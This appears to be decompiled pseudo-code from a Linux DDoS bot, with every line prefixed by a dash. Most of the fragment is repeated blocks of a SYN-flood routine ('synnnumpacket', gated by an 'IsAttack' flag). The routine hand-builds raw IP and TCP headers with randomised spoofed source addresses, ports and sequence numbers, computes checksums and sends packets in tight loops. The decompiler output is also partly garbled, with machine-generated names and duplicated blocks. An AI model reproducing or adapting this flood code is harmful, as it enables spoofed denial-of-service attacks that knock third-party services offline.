- L0806F850(_v20 >> 16 & 255, _t2252, __esi, &_v628, 0, 128);
- L0806F9E0(_t2252, __esi, &_v628, &(_v48[0xc]), 4);
- L0806F9E0(_t2252, __esi, &((char*)( &_v628)[2]), &(_v48[0x10]), 4);
- _v620 = 0;
- _v619 = (_v48[9]) & 255;
- _v618 = _v52 >> 8;
- _v617 = _v52;
- L0806F9E0(_t2252, __esi, &((char*)( &_v628)[6]), _v44, 20);
- L0806F9E0(_t2252, __esi, &((char*)( &_v628)[0x10]), _v40, 8);
- _t1951 = csum( &_v628, _v52 + 12);
- *(_v44 + 16) = _t1951;
- _t1973 = &_v644;
- _t1954 = (_v48[2]) & 65535;
- __esi = _t1954 & 65535;
- L0805EBE0();
- _t2045 = _t1954;
- _v680 = -1600085855;
- _t1959 = _t2045 >> 31;
- _t2252 = ((_v680 * _t2045 >> 32) + _t2045 >> 7) - _t1959;
- _v660 = _t2252;
- _v660 = _t2045 - _t1959 * _v660;
- _v696 = 16;
- _v700 = _t1973;
- _v704 = 0;
- _v708 = __esi + _v660 + 800;
- _t1872 = L08052C20(__esi, _v64, &_v500);
- _v28 = _v28 + 1;
- continue;
- }
- goto L20;
- }
- }
- }
- }
- }
- L20:
- L08052A50(_v64);
- _t1148 = L08051050();
- L08051000(_t1148);
- *__esp = 0;
- L08050FE0();
- goto L21;
- L21:
- _push(_t2265);
- _t2266 = __esp;
- _push(__esi);
- _push(_t1973);
- __esp = __esp - 704;
- L0806F910( &_v948, 160);
- L0806F9E0(_t2252, __esi, &_v948, _v712, 160);
- _v786 = 2;
- _v1428 = 16;
- _t1155 = &_v1368;
- *__esp = _t1155;
- L0806F910();
- _v1424 = 6;
- L08073680(_t1973, __esp, 2, 3);
- _v784 = _t1155;
- _v1368 = 2;
- _v780 = _v936;
- if(_v780 <= 60 || _v68 > 800) {
- _v68 = 61;
- }
- _v64 = _v68 - 60;
- _t1160 = &_v236 + 20;
- L08075250(_t1160);
- _v60 = _t1160;
- if(_v60 != 0) {
- _t1673 = L0806E4D0( &_v236 + 20, "0.0.0.0");
- if(_t1673 == 0) {
- } else {
- _v56 = 0;
- _v56 = _v220;
- if(_v56 <= 0 || _v56 > 86400) {
- _v56 = 20;
- }
- _v652 = *( *(_v60[0x10]));
- _v52 = 20;
- _v48 = &_v512;
- _v44 = &_v512 + 20;
- _v40 = &_v512 + 40;
- *_v48 = *_v48 & 255 & 240 | 5;
- *_v48 = *_v48 & 255 & 15 | 64;
- (_v48[1]) = 0;
- (_v48[2]) = 60;
- *__esp = 31337;
- _t1692 = L08075240(__esp);
- (_v48[4]) = _t1692;
- (_v48[6]) = 0;
- (_v48[8]) = 250;
- (_v48[9]) = 6;
- (_v48[0xa]) = 0;
- (_v48[0x10]) = _v652;
- *__esp = _v88 & 65535;
- _t1701 = L08075240(__esp);
- *((short*)(_v44 + 2)) = _t1701;
- *__esp = 31337;
- _t1703 = L08075230(__esp);
- *((intOrPtr*)(_v44 + 4)) = _t1703;
- *__esp = 0;
- _t1705 = L08075230(__esp);
- *((intOrPtr*)(_v44 + 8)) = _t1705;
- *(_v44 + 12) = *(_v44 + 12) & 255 & 240;
- *(_v44 + 12) = *(_v44 + 12) & 255 & 15 | 160;
- *(_v44 + 13) = _v74 & 65535;
- *__esp = 57344;
- _t1714 = L08075240(__esp);
- *((short*)(_v44 + 14)) = _t1714;
- *(_v44 + 16) = 0;
- *(_v44 + 18) = 0;
- if((_v52 & 3) != 0) {
- _v52 = (_v52 + (_v52 >> 31 >> 30) & 3) - (_v52 >> 31 >> 30) + 1 << 2;
- }
- _v52 = 40;
- _v660 = 1;
- _v36 = &_v660;
- _v1416 = 4;
- _v1420 = _v36;
- _v1424 = 3;
- _v1428 = 0;
- _t1722 = _v72;
- *__esp = _t1722;
- L08073640(_t1973, __esp);
- if(_t1722 >= 0) {
- } else {
- _v32 = 0;
- while(1) {
- _t1723 = IsAttack;
- if(_t1723 == 0) {
- break;
- }
- _v28 = 0;
- while(_v28 <= 999) {
- L0805EBE0();
- _t2031 = _t1723;
- _v696 = -2147450879;
- _v684 = ((_v696 * _t2031 >> 32) + _t2031 >> 15) - (_t2031 >> 31);
- _v684 = _t2031 - (_v684 << 16) - _v684;
- *__esp = _v684;
- _t1733 = L08075230(__esp);
- _t1734 = _v44;
- *((intOrPtr*)(_t1734 + 4)) = _t1733;
- L0805EBE0();
- _t2032 = _t1734;
- _v696 = -2147450879;
- _v680 = ((_v696 * _t2032 >> 32) + _t2032 >> 15) - (_t2032 >> 31);
- _v680 = _t2032 - (_v680 << 16) - _v680;
- *__esp = _v680 & 65535 & 65535;
- _t1745 = L08075240(__esp);
- _t1746 = _v44;
- *((short*)(_t1746 + 14)) = _t1745;
- L0805EBE0();
- _t2033 = _t1746;
- _v696 = -2147450879;
- _t1973 = ((_v696 * _t2033 >> 32) + _t2033 >> 15) - (_t2033 >> 31);
- _v676 = _t1973;
- _v676 = _t2033 - (_v676 << 16) - _v676;
- *_v44 = _v676 & 65535;
- _t1757 = _v80 - _v84;
- _v24 = _t1757;
- if(_v24 <= 0) {
- goto L44;
- } else {
- L0805EBE0();
- _v20 = _t1757 % _v24 + _v84;
- L0806F850(_t1973, _t2252, __esi, &_v256, 0, 20);
- _v1412 = _v20 & 255;
- _v1416 = _v20 >> 8 & 255;
- _v1420 = _v20 >> 16 & 255;
- L0805FF50( &_v256, "%d.%d.%d.%d", _v20 >> 24);
- _t1774 = L08073B40( &_v256);
- (_v48[0xc]) = _t1774;
- L0806F850(_v20 >> 16 & 255, _t2252, __esi, &_v640, 0, 128);
- L0806F9E0(_t2252, __esi, &_v640, &(_v48[0xc]), 4);
- L0806F9E0(_t2252, __esi, &((char*)( &_v640)[2]), &(_v48[0x10]), 4);
- _v632 = 0;
- _v631 = (_v48[9]) & 255;
- _v630 = _v52 >> 8;
- _v629 = _v52;
- L0806F9E0(_t2252, __esi, &((char*)( &_v640)[6]), _v44, 20);
- L0806F9E0(_t2252, __esi, &((char*)( &_v640)[0x10]), _v40, 8);
- _t1802 = csum( &_v640, _v52 + 12);
- *(_v44 + 16) = _t1802;
- __esi = &_v656;
- _t1805 = (_v48[2]) & 65535;
- _t1973 = _t1805 & 65535;
- L0805EBE0();
- _v1412 = 16;
- _v1416 = __esi;
- _v1420 = 0;
- _v1424 = _t1973 + _t1805 % _v64;
- _t1723 = L08052C20(__esi, _v72, &_v512);
- _v28 = _v28 + 1;
- continue;
- }
- goto L44;
- }
- }
- }
- }
- }
- L44:
- L08052A50(_v72);
- _t1163 = L08051050();
- L08051000(_t1163);
- *__esp = 0;
- L08050FE0();
- goto L45;
- L45:
- _push(_t2266);
- _t2267 = __esp;
- _push(_t1973);
- __esp = __esp - 692;
- L0806F910( &_v1648, 156);
- L0806F9E0(_t2252, __esi, &_v1648, _v1428, 156);
- _v1490 = 16;
- _v2128 = 16;
- _t1170 = &_v2068;
- *__esp = _t1170;
- L0806F910();
- _v2124 = 6;
- L08073680(_t1973, __esp, 2, 3);
- _v1488 = _t1170;
- _v2068 = 2;
- _t1172 = &_v1648 + 16;
- L08075250(_t1172);
- _v1484 = _t1172;
- if(_v1484 != 0) {
- _t1527 = L0806E4D0( &((char*)( &_v224)[4]), "0.0.0.0");
- if(_t1527 == 0) {
- } else {
- _v56 = 0;
- _v56 = _v212;
- if(_v56 <= 0 || _v56 > 86400) {
- _v56 = 20;
- }
- _v640 = *( *(_v60[0x10]));
- _v52 = 20;
- _v48 = &_v500;
- _v44 = &_v500 + 20;
- _v40 = &_v500 + 40;
- *_v48 = *_v48 & 255 & 240 | 5;
- *_v48 = *_v48 & 255 & 15 | 64;
- (_v48[1]) = 0;
- (_v48[2]) = 60;
- *__esp = 31337;
- _t1546 = L08075240(__esp);
- (_v48[4]) = _t1546;
- (_v48[6]) = 0;
- (_v48[8]) = 250;
- (_v48[9]) = 6;
- (_v48[0xa]) = 0;
- (_v48[0x10]) = _v640;
- *__esp = _v80 & 65535;
- _t1555 = L08075240(__esp);
- *((short*)(_v44 + 2)) = _t1555;
- *__esp = 31337;
- _t1557 = L08075230(__esp);
- *((intOrPtr*)(_v44 + 4)) = _t1557;
- *__esp = 0;
- _t1559 = L08075230(__esp);
- *((intOrPtr*)(_v44 + 8)) = _t1559;
- *(_v44 + 12) = *(_v44 + 12) & 255 & 240;
- *(_v44 + 12) = *(_v44 + 12) & 255 & 15 | 160;
- *(_v44 + 13) = _v66 & 65535;
- *__esp = 57344;
- _t1568 = L08075240(__esp);
- *((short*)(_v44 + 14)) = _t1568;
- *(_v44 + 16) = 0;
- *(_v44 + 18) = 0;
- if((_v52 & 3) != 0) {
- _v52 = (_v52 + (_v52 >> 31 >> 30) & 3) - (_v52 >> 31 >> 30) + 1 << 2;
- }
- _v52 = 40;
- _v648 = 1;
- _v36 = &_v648;
- _v2116 = 4;
- _v2120 = _v36;
- _v2124 = 3;
- _v2128 = 0;
- _t1576 = _v64;
- *__esp = _t1576;
- L08073640(_t1973, __esp);
- if(_t1576 >= 0) {
- } else {
- _v32 = 0;
- while(1) {
- _t1577 = IsAttack;
- if(_t1577 == 0) {
- break;
- }
- _v28 = 0;
- while(_v28 <= 999) {
- L0805EBE0();
- _t2023 = _t1577;
- _v676 = -2147450879;
- _v668 = ((_v676 * _t2023 >> 32) + _t2023 >> 15) - (_t2023 >> 31);
- _v668 = _t2023 - (_v668 << 16) - _v668;
- *__esp = _v668;
- _t1587 = L08075230(__esp);
- _t1588 = _v44;
- *((intOrPtr*)(_t1588 + 4)) = _t1587;
- L0805EBE0();
- _t2024 = _t1588;
- _v676 = -2147450879;
- _v664 = ((_v676 * _t2024 >> 32) + _t2024 >> 15) - (_t2024 >> 31);
- _v664 = _t2024 - (_v664 << 16) - _v664;
- *__esp = _v664 & 65535 & 65535;
- _t1599 = L08075240(__esp);
- _t1600 = _v44;
- *((short*)(_t1600 + 14)) = _t1599;
- L0805EBE0();
- _t2025 = _t1600;
- _v676 = -2147450879;
- _t1973 = ((_v676 * _t2025 >> 32) + _t2025 >> 15) - (_t2025 >> 31);
- _v660 = _t1973;
- _v660 = _t2025 - (_v660 << 16) - _v660;
- *_v44 = _v660 & 65535;
- _t1611 = _v72 - _v76;
- _v24 = _t1611;
- if(_v24 <= 0) {
- goto L65;
- } else {
- L0805EBE0();
- _v20 = _t1611 % _v24 + _v76;
- L0806F850(_t1973, _t2252, __esi, &_v244, 0, 20);
- _t1973 = _v20 >> 16 & 255;
- _v2112 = _v20 & 255;
- _v2116 = _v20 >> 8 & 255;
- _v2120 = _t1973;
- L0805FF50( &_v244, "%d.%d.%d.%d", _v20 >> 24);
- _t1628 = L08073B40( &_v244);
- (_v48[0xc]) = _t1628;
- L0806F850(_t1973, _t2252, __esi, &_v628, 0, 128);
- L0806F9E0(_t2252, __esi, &_v628, &(_v48[0xc]), 4);
- L0806F9E0(_t2252, __esi, &((char*)( &_v628)[2]), &(_v48[0x10]), 4);
- _v620 = 0;
- _v619 = (_v48[9]) & 255;
- _v618 = _v52 >> 8;
- _v617 = _v52;
- L0806F9E0(_t2252, __esi, &((char*)( &_v628)[6]), _v44, 20);
- L0806F9E0(_t2252, __esi, &((char*)( &_v628)[0x10]), _v40, 8);
- _t1656 = csum( &_v628, _v52 + 12);
- *(_v44 + 16) = _t1656;
- _v2112 = 16;
- _v2116 = &_v644;
- _v2120 = 0;
- _v2124 = (_v48[2]) & 65535 & 65535;
- _t1577 = L08052C20(__esi, _v64, &_v500);
- _v28 = _v28 + 1;
- continue;
- }
- goto L65;
- }
- }
- }
- }
- }
- L65:
- L08052A50(_v64);
- _t1175 = L08051050();
- L08051000(_t1175);
- *__esp = 0;
- L08050FE0();
- goto L66;
- L66:
- _push(_t2267);
- _t2268 = __esp;
- _push(_t2252);
- _push(__esi);
- _push(_t1973);
- __esp = __esp - 700;
- L0806F910( &_v2356, 156);
- L0806F9E0(_t2252, __esi, &_v2356, _v2128, 156);
- _v2198 = 16;
- _v2844 = 16;
- _t1182 = &_v2776;
- *__esp = _t1182;
- L0806F910();
- _v2840 = 6;
- L08073680(_t1973, __esp, 2, 3);
- _v2196 = _t1182;
- _v2776 = 2;
- _t1184 = &_v2356 + 16;
- L08075250(_t1184);
- _v2192 = _t1184;
- if(_v2192 != 0) {
- _t1374 = L0806E4D0( &_v236 + 16, "0.0.0.0");
- if(_t1374 == 0) {
- } else {
- _v68 = 0;
- _v68 = _v224;
- if(_v68 <= 0 || _v68 > 86400) {
- _v68 = 20;
- }
- _v652 = *( *( *(_v72 + 16)));
- _v64 = 20;
- _v60 = &_v512;
- _v56 = &_v512 + 20;
- _v52 = &_v512 + 40;
- *_v60 = *_v60 & 255 & 240 | 5;
- *_v60 = *_v60 & 255 & 15 | 64;
- (_v60[1]) = 0;
- (_v60[2]) = 60;
- *__esp = 31337;
- _t1393 = L08075240(__esp);
- (_v60[4]) = _t1393;
- (_v60[6]) = 0;
- (_v60[8]) = 250;
- (_v60[9]) = 6;
- (_v60[0xa]) = 0;
- (_v60[0x10]) = _v652;
- *__esp = _v92 & 65535;
- _t1402 = L08075240(__esp);
- *((short*)(_v56 + 2)) = _t1402;
- *__esp = 31337;
- _t1404 = L08075230(__esp);
- *((intOrPtr*)(_v56 + 4)) = _t1404;
- *__esp = 0;
- _t1406 = L08075230(__esp);
- *((intOrPtr*)(_v56 + 8)) = _t1406;
- *(_v56 + 12) = *(_v56 + 12) & 255 & 240;
- *(_v56 + 12) = *(_v56 + 12) & 255 & 15 | 160;
- *(_v56 + 13) = _v78 & 65535;
- *__esp = 57344;
- _t1415 = L08075240(__esp);
- *((short*)(_v56 + 14)) = _t1415;
- *((short*)(_v56 + 16)) = 0;
- *(_v56 + 18) = 0;
- if((_v64 & 3) != 0) {
- _v64 = (_v64 + (_v64 >> 31 >> 30) & 3) - (_v64 >> 31 >> 30) + 1 << 2;
- }
- _v64 = 40;
- _v660 = 1;
- _v48 = &_v660;
- _v2832 = 4;
- _v2836 = _v48;
- _v2840 = 3;
- _v2844 = 0;
- _t1423 = _v76;
- *__esp = _t1423;
- L08073640(_t1973, __esp);
- if(_t1423 >= 0) {
- } else {
- _v44 = 0;
- while(1) {
- _t1424 = IsAttack;
- if(_t1424 == 0) {
- break;
- }
- _v40 = 0;
- while(_v40 <= 999) {
- L0805EBE0();
- _t2013 = _t1424;
- _v692 = -2147450879;
- _v684 = ((_v692 * _t2013 >> 32) + _t2013 >> 15) - (_t2013 >> 31);
- _v684 = _t2013 - (_v684 << 16) - _v684;
- *__esp = _v684;
- _t1434 = L08075230(__esp);
- _t1435 = _v56;
- *((intOrPtr*)(_t1435 + 4)) = _t1434;
- L0805EBE0();
- _t2014 = _t1435;
- _v692 = -2147450879;
- _v680 = ((_v692 * _t2014 >> 32) + _t2014 >> 15) - (_t2014 >> 31);
- _v680 = _t2014 - (_v680 << 16) - _v680;
- *__esp = _v680 & 65535 & 65535;
- _t1446 = L08075240(__esp);
- _t1447 = _v56;
- *((short*)(_t1447 + 14)) = _t1446;
- L0805EBE0();
- _t2015 = _t1447;
- _v692 = -2147450879;
- _t1973 = ((_v692 * _t2015 >> 32) + _t2015 >> 15) - (_t2015 >> 31);
- _v676 = _t1973;
- _t2252 = _t2015 - (_v676 << 16) - _v676;
- _v676 = _t2015 - (_v676 << 16) - _v676;
- *_v56 = _v676 & 65535;
- _t1458 = _v84 - _v88;
- _v36 = _t1458;
- if(_v36 <= 0) {
- goto L86;
- } else {
- L0805EBE0();
- _v32 = _t1458 % _v36 + _v88;
- L0806F850(_t1973, _t2252, __esi, &_v256, 0, 20);
- _v2828 = _v32 & 255;
- _v2832 = _v32 >> 8 & 255;
- _v2836 = _v32 >> 16 & 255;
- L0805FF50( &_v256, "%d.%d.%d.%d", _v32 >> 24);
- _t1475 = L08073B40( &_v256);
- (_v60[0xc]) = _t1475;
- L0806F850(_v32 >> 16 & 255, _t2252, __esi, &_v640, 0, 128);
- L0806F9E0(_t2252, __esi, &_v640, &(_v60[0xc]), 4);
- L0806F9E0(_t2252, __esi, &((char*)( &_v640)[2]), &(_v60[0x10]), 4);
- _v632 = 0;
- _v631 = (_v60[9]) & 255;
- _v630 = _v64 >> 8;
- _v629 = _v64;
- L0806F9E0(_t2252, __esi, &((char*)( &_v640)[6]), _v56, 20);
- L0806F9E0(_t2252, __esi, &((char*)( &_v640)[0x10]), _v52, 8);
- _t1503 = csum( &_v640, _v64 + 12);
- *((short*)(_v56 + 16)) = _t1503;
- _t1973 = &_v656;
- _t1506 = (_v60[2]) & 65535;
- __esi = _t1506 & 65535;
- L0805EBE0();
- _t2019 = _t1506;
- _v692 = -1600085855;
- _t2126 = _v692 * _t2019 >> 32;
- _t1511 = _t2019 >> 31;
- _t2252 = (_t2126 + _t2019 >> 7) - _t1511;
- _v672 = (_t2126 + _t2019 >> 7) - _t1511;
- _v672 = _t2019 - _t1511 * _v672;
- _v2828 = 16;
- _v2832 = _t1973;
- _v2836 = 0;
- _v2840 = __esi + _v672 + 800;
- _t1424 = L08052C20(__esi, _v76, &_v512);
- _v40 = _v40 + 1;
- continue;
- }
- goto L86;
- }
- }
- }
- }
- }
- L86:
- L08052A50(_v76);
- _t1187 = L08051050();
- L08051000(_t1187);
- *__esp = 0;
- L08050FE0();
- goto L87;
- L87:
- _push(_t2268);
- _t2269 = __esp;
- _push(__esi);
- _push(_t1973);
- __esp = __esp - 704;
- L0806F910( &_v3080, 160);
- L0806F9E0(_t2252, __esi, &_v3080, _v2844, 160);
- _v2918 = 16;
- _v3560 = 16;
- _t1194 = &_v3500;
- *__esp = _t1194;
- L0806F910();
- _v3556 = 6;
- L08073680(_t1973, __esp, 2, 3);
- _v2916 = _t1194;
- _v3500 = 2;
- _v2912 = _v3068;
- if(_v2912 <= 60 || _v80 > 800) {
- _v80 = 61;
- }
- _v76 = _v80 - 60;
- _t1199 = &_v248 + 20;
- L08075250(_t1199);
- _v72 = _t1199;
- if(_v72 != 0) {
- _t1225 = L0806E4D0( &_v248 + 20, "0.0.0.0");
- if(_t1225 == 0) {
- } else {
- _v68 = 0;
- _v68 = _v232;
- if(_v68 <= 0 || _v68 > 86400) {
- _v68 = 20;
- }
- _v664 = *( *( *(_v72 + 16)));
- _v64 = 20;
- _v60 = &_v524;
- _v56 = &_v524 + 20;
- _v52 = &_v524 + 40;
- *_v60 = *_v60 & 255 & 240 | 5;
- *_v60 = *_v60 & 255 & 15 | 64;
- (_v60[1]) = 0;
- (_v60[2]) = 60;
- *__esp = 31337;
- _t1244 = L08075240(__esp);
- (_v60[4]) = _t1244;
- (_v60[6]) = 0;
- (_v60[8]) = 250;
- (_v60[9]) = 6;
- (_v60[0xa]) = 0;
- (_v60[0x10]) = _v664;
- *__esp = _v100 & 65535;
- _t1253 = L08075240(__esp);
- *((short*)(_v56 + 2)) = _t1253;
- *__esp = 31337;
- _t1255 = L08075230(__esp);
- *((intOrPtr*)(_v56 + 4)) = _t1255;
- *__esp = 0;
- _t1257 = L08075230(__esp);
- *((intOrPtr*)(_v56 + 8)) = _t1257;
- *(_v56 + 12) = *(_v56 + 12) & 255 & 240;
- *(_v56 + 12) = *(_v56 + 12) & 255 & 15 | 160;
- *(_v56 + 13) = _v86 & 65535;
- *__esp = 57344;
- _t1266 = L08075240(__esp);
- *((short*)(_v56 + 14)) = _t1266;
- *((short*)(_v56 + 16)) = 0;
- *(_v56 + 18) = 0;
- if((_v64 & 3) != 0) {
- _v64 = (_v64 + (_v64 >> 31 >> 30) & 3) - (_v64 >> 31 >> 30) + 1 << 2;
- }
- _v64 = 40;
- _v672 = 1;
- _v48 = &_v672;
- _v3548 = 4;
- _v3552 = _v48;
- _v3556 = 3;
- _v3560 = 0;
- _t1274 = _v84;
- *__esp = _t1274;
- L08073640(_t1973, __esp);
- if(_t1274 >= 0) {
- } else {
- _v44 = 0;
- while(1) {
- _t1275 = IsAttack;
- if(_t1275 == 0) {
- break;
- }
- _v40 = 0;
- while(_v40 <= 999) {
- L0805EBE0();
- _t2005 = _t1275;
- _v708 = -2147450879;
- _v696 = ((_v708 * _t2005 >> 32) + _t2005 >> 15) - (_t2005 >> 31);
- _v696 = _t2005 - (_v696 << 16) - _v696;
- *__esp = _v696;
- _t1285 = L08075230(__esp);
- _t1286 = _v56;
- *((intOrPtr*)(_t1286 + 4)) = _t1285;
- L0805EBE0();
- _t2006 = _t1286;
- _v708 = -2147450879;
- _v692 = ((_v708 * _t2006 >> 32) + _t2006 >> 15) - (_t2006 >> 31);
- _v692 = _t2006 - (_v692 << 16) - _v692;
- *__esp = _v692 & 65535 & 65535;
- _t1297 = L08075240(__esp);
- _t1298 = _v56;
- *((short*)(_t1298 + 14)) = _t1297;
- L0805EBE0();
- _t2007 = _t1298;
- _v708 = -2147450879;
- _t2075 = _v708 * _t2007 >> 32;
- _t1979 = (_t2075 + _t2007 >> 15) - (_t2007 >> 31);
- _v688 = (_t2075 + _t2007 >> 15) - (_t2007 >> 31);
- _v688 = _t2007 - (_v688 << 16) - _v688;
- *_v56 = _v688 & 65535;
- _t1309 = _v92 - _v96;
- _v36 = _t1309;
- if(_v36 <= 0) {
- goto L110;
- } else {
- L0805EBE0();
- _v32 = _t1309 % _v36 + _v96;
- L0806F850(_t1979, _t2252, __esi, &_v268, 0, 20);
- _v3544 = _v32 & 255;
- _v3548 = _v32 >> 8 & 255;
- _v3552 = _v32 >> 16 & 255;
- L0805FF50( &_v268, "%d.%d.%d.%d", _v32 >> 24);
- _t1326 = L08073B40( &_v268);
- (_v60[0xc]) = _t1326;
- L0806F850(_v32 >> 16 & 255, _t2252, __esi, &_v652, 0, 128);
- L0806F9E0(_t2252, __esi, &_v652, &(_v60[0xc]), 4);
- L0806F9E0(_t2252, __esi, &((char*)( &_v652)[2]), &(_v60[0x10]), 4);
- _v644 = 0;
- _v643 = (_v60[9]) & 255;
- _v642 = _v64 >> 8;
- _v641 = _v64;
- L0806F9E0(_t2252, __esi, &((char*)( &_v652)[6]), _v56, 20);
- L0806F9E0(_t2252, __esi, &((char*)( &_v652)[0x10]), _v52, 8);
- _t1354 = csum( &_v652, _v64 + 12);
- *(_v56 + 16) = _t1354;
- __esi = &_v668;
- L0805EBE0();
- _v3544 = 16;
- _v3548 = __esi;
- _v3552 = 0;
- _v3556 = ((_v60[2]) & 65535 & 65535) + ((_v60[2]) & 65535) % _v76;
- _t1275 = L08052C20(__esi, _v84, &_v524);
- _v40 = _v40 + 1;
- continue;
- }
- goto L110;
- }
- }
- }
- }
- }
- L110:
- L08052A50(_v84);
- _t1202 = L08051050();
- L08051000(_t1202);
- *__esp = 0;
- L08050FE0();
- goto L111;
- L111:
- _push(_t2269);
- __esp = __esp - 16;
- _v3580 = _v3556;
- _v3576 = _v3560;
- _v3572 = 0;
- _v3582 = 0;
- while(_v36 > 1) {
- _v28 = _v28 + ( *_v32 & 65535 & 65535);
- _v32 = _v32 + 2;
- _v36 = _v36 - 2;
- }
- }
- int synnnumpacket(_Unknown_base* ThreadData)
- {// addr = 0x0804A8D1
- SYNPACKET_NUM SynObj;
- short int tcp_flags;
- char[19] szNewIP;
- char[255] szPackData;
- char[127] pheader;
- struct sockaddr_in servaddr;
- int hSockft;
- int topNum;
- int randNum;
- struct hostent* szhost;
- int nTime;
- int tcphdr_size;
- struct ip* iph;
- struct tcphdr* tcph;
- struct tcp_options* tcpopt;
- int one;
- const int* val;
- int looptime;
- int aa;
- int ShamBase;
- int dwNewIP;
- signed int _v16;
- signed int _v20;
- signed int _v24;
- signed int _v28;
- signed int _v32;
- _unknown_ _v34;
- signed int _v36;
- signed int _v40;
- char* _v44;
- unsigned int _v48;
- signed int _v52;
- signed char* _v56;
- unsigned int _v60;
- signed short _v62;
- unsigned int _v64;
- signed int _v68;
- signed short _v70;
- signed int _v72;
- signed short _v74;
- signed int _v76;
- signed int _v80;
- signed short _v82;
- signed int _v84;
- signed int _v88;
- intOrPtr _v92;
- signed int _v96;
- signed int _v208;
- signed int _v216;
- unsigned int _v220;
- unsigned int _v228;
- char _v232;
- char _v240;
- char _v244;
- char _v252;
- char _v264;
- char _v496;
- char _v508;
- char _v520;
- unsigned int _v613;
- unsigned short _v614;
- signed int _v615;
- signed int _v616;
- short unsigned int _v624;
- unsigned int _v625;
- unsigned short _v626;
- signed int _v627;
- signed int _v628;
- short unsigned int _v636;
- unsigned int _v637;
- unsigned short _v638;
- signed int _v639;
- signed int _v640;
- char _v644;
- short unsigned int _v648;
- char _v652;
- char _v656;
- signed int _v660;
- char _v664;
- char _v668;
- signed int _v672;
- signed int _v676;
- signed int _v680;
- signed short _v684;
- signed short _v688;
- signed int _v692;
- signed int _v696;
- signed int _v700;
- signed int _v704;
- signed int _v708;
- signed int _v712;
- intOrPtr _v768;
- signed int _v772;
- signed int _v774;
- char _v932;
- signed short _v1352;
- signed int _v1396;
- signed int _v1400;
- signed int _v1404;
- signed int _v1408;
- signed int _v1412;
- intOrPtr _v1476;
- signed int _v1480;
- signed int _v1482;
- char _v1640;
- signed short _v2060;
- signed int _v2112;
- signed int _v2116;
- signed int _v2120;
- signed char _v2124;
- signed int _v2128;
- intOrPtr _v2196;
- signed int _v2200;
- signed int _v2202;
- intOrPtr _v2352;
- char _v2364;
- signed short _v2784;
- signed int _v2828;
- signed int _v2832;
- signed int _v2836;
- signed char _v2840;
- signed int _v2844;
- signed int _v2856;
- signed int _v2860;
- signed char _v2864;
- signed int _v2866;
- _unknown_ r6;
- _unknown_ _t919;
- signed int _t920;
- signed char* _t925;
- _unknown_ _t927;
- _unknown_ _t928;
- _unknown_ _t929;
- _unknown_ _t930;
- _unknown_ _t934;
- signed int _t935;
- intOrPtr _t937;
- _unknown_ _t939;
- _unknown_ _t940;
- _unknown_ _t941;
- _unknown_ _t942;
- _unknown_ _t946;
- signed int _t947;
- intOrPtr _t949;
- _unknown_ _t951;
- _unknown_ _t952;
- _unknown_ _t953;
- _unknown_ _t954;
- _unknown_ _t958;
- signed int _t959;
- signed int _t964;
- _unknown_ _t966;
- _unknown_ _t967;
- _unknown_ _t968;
- _unknown_ _t969;
- _unknown_ _t990;
- signed char _t1009;
- short _t1018;
- intOrPtr _t1020;
- intOrPtr _t1022;
- short _t1031;
- signed int _t1039;
- signed int _t1040;
- _unknown_ _t1042;
- intOrPtr _t1050;
- signed int _t1051;
- _unknown_ _t1053;
- short _t1062;
- signed int _t1063;
- _unknown_ _t1065;
- signed int _t1074;
- _unknown_ _t1076;
- _unknown_ _t1081;
- signed char _t1091;
- _unknown_ _t1094;
- _unknown_ _t1098;
- _unknown_ _t1103;
- _unknown_ _t1112;
- _unknown_ _t1116;
- short unsigned int _t1119;
- _unknown_ _t1124;
- _unknown_ _t1139;
- signed char _t1158;
- short _t1167;
- intOrPtr _t1169;
- intOrPtr _t1171;
- short _t1180;
- signed int _t1188;
- signed int _t1189;
- _unknown_ _t1191;
- intOrPtr _t1199;
- signed int _t1200;
- _unknown_ _t1202;
- short _t1211;
- signed int _t1212;
- _unknown_ _t1214;
- signed int _t1223;
- _unknown_ _t1225;
- _unknown_ _t1230;
- signed char _t1240;
- _unknown_ _t1243;
- _unknown_ _t1247;
- _unknown_ _t1252;
- _unknown_ _t1261;
- _unknown_ _t1265;
- short unsigned int _t1268;
- signed int _t1271;
- _unknown_ _t1273;
- signed int _t1276;
- _unknown_ _t1292;
- char _t1311;
- short _t1320;
- intOrPtr _t1322;
- intOrPtr _t1324;
- short _t1333;
- signed int _t1341;
- signed int _t1342;
- _unknown_ _t1344;
- intOrPtr _t1352;
- signed int _t1353;
- _unknown_ _t1355;
- short _t1364;
- signed int _t1365;
- _unknown_ _t1367;
- signed int _t1376;
- _unknown_ _t1378;
- _unknown_ _t1383;
- char _t1393;
- _unknown_ _t1396;
- _unknown_ _t1400;
- _unknown_ _t1405;
- _unknown_ _t1414;
- _unknown_ _t1418;
- short unsigned int _t1421;
- _unknown_ _t1438;
- char _t1457;
- short _t1466;
- intOrPtr _t1468;
- intOrPtr _t1470;
- short _t1479;
- signed int _t1487;
- signed int _t1488;
- _unknown_ _t1490;
- intOrPtr _t1498;
- signed int _t1499;
- _unknown_ _t1501;
- short _t1510;
- signed int _t1511;
- _unknown_ _t1513;
- signed int _t1522;
- _unknown_ _t1524;
- _unknown_ _t1529;
- char _t1539;
- _unknown_ _t1542;
- _unknown_ _t1546;
- _unknown_ _t1551;
- _unknown_ _t1560;
- _unknown_ _t1564;
- short unsigned int _t1567;
- signed int _t1570;
- _unknown_ _t1572;
- signed int _t1585;
- signed int _t1611;
- signed int _t1612;
- signed int _t1613;
- signed int _t1619;
- signed int _t1620;
- signed int _t1621;
- signed int _t1625;
- signed int _t1629;
- signed int _t1630;
- signed int _t1631;
- signed int _t1637;
- signed int _t1638;
- signed int _t1639;
- signed int _t1671;
- _unknown_ _t1679;
- _unknown_ _t1687;
- _unknown_ _t1715;
- signed int _t1722;
- _unknown_ _t1759;
- _unknown_ _t1799;
- _unknown_ _t1807;
- _unknown_ _t1817;
- signed int* _t1818;
- signed int* _t1819;
- signed int* _t1820;
- _unknown_ _t1821;
- _push(__esi);
- _push(_t1585);
- __esp = __esp - 704;
- L0806F910( &_v232, 160);
- L0806F9E0(_t1810, __esi, &_v232, ThreadData, 160);
- _v70 = 2;
- _v712 = 16;
- _t920 = &_v652;
- *__esp = _t920;
- L0806F910();
- _v708 = 6;
- L08073680(_t1585, __esp, 2, 3);
- _v68 = _t920;
- _v652 = 2;
- _v64 = _v220;
- if(_v64 <= 60 || _v64 > 800) {
- _v64 = 61;
- }
- _v60 = _v64 - 60;
- _t925 = &_v232 + 20;
- L08075250(_t925);
- _v56 = _t925;
- if(_v56 != 0) {
- _t1438 = L0806E4D0( &_v232 + 20, "0.0.0.0");
- if(_t1438 == 0) {
- } else {
